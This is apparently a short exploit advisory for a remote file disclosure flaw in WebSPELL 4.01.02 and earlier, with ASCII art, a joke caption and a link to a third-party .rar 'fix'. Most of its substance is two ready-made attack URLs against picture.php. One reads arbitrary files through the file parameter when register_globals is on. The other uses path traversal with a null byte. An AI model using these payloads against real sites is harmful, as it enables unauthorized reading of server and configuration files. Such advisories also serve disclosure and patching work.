WebSPELL versions 4.01.02 and below suffer from a remote file disclosure vulnerability in picture.php.
617d3817383b6e72461da94d8082660975700916cece3de25326815b78f2ae16
# WebSPELL <= 4.01.02 (picture.php) Remote File Disclosure Vulnerability
# Discovered by: Trex
# Visit: www.Trex-Online.net / www.UnderGround.ag
# Comment: Happy easter!
#
# ___ ___
# / \ / \ ___________________________
# / / \_/ \ \ / \
# \__/\ /\__/ / GIVE ME A CARROT OR I WILL \
# \O O/ \ BLOW UP YOUR HOUSE /
# ___/ ^ \___ / ___________________________/
# \___/ /_/
# _/ \_
# __// \\__
# /___\/_\/___\
#
#
#
# Vulnerability 1:
# Advantage: works independently from PHP version.
# Disadvantage: works dependently from PHP option register_globals (= on).
#
# http://[SITE][PAHT]/picture.php?file=[FILE]
#
#
#
# Vulnerability 2:
# Advantage: works independently from PHP option register_globals.
# Disadvantage: works dependently from PHP versions (< 4.3.0).
#
# http://[SITE][PAHT]/picture.php?id=../../../[FILE]%00
#
#
#
# Solution:
# http://fixes.trex-online.net/picture.rar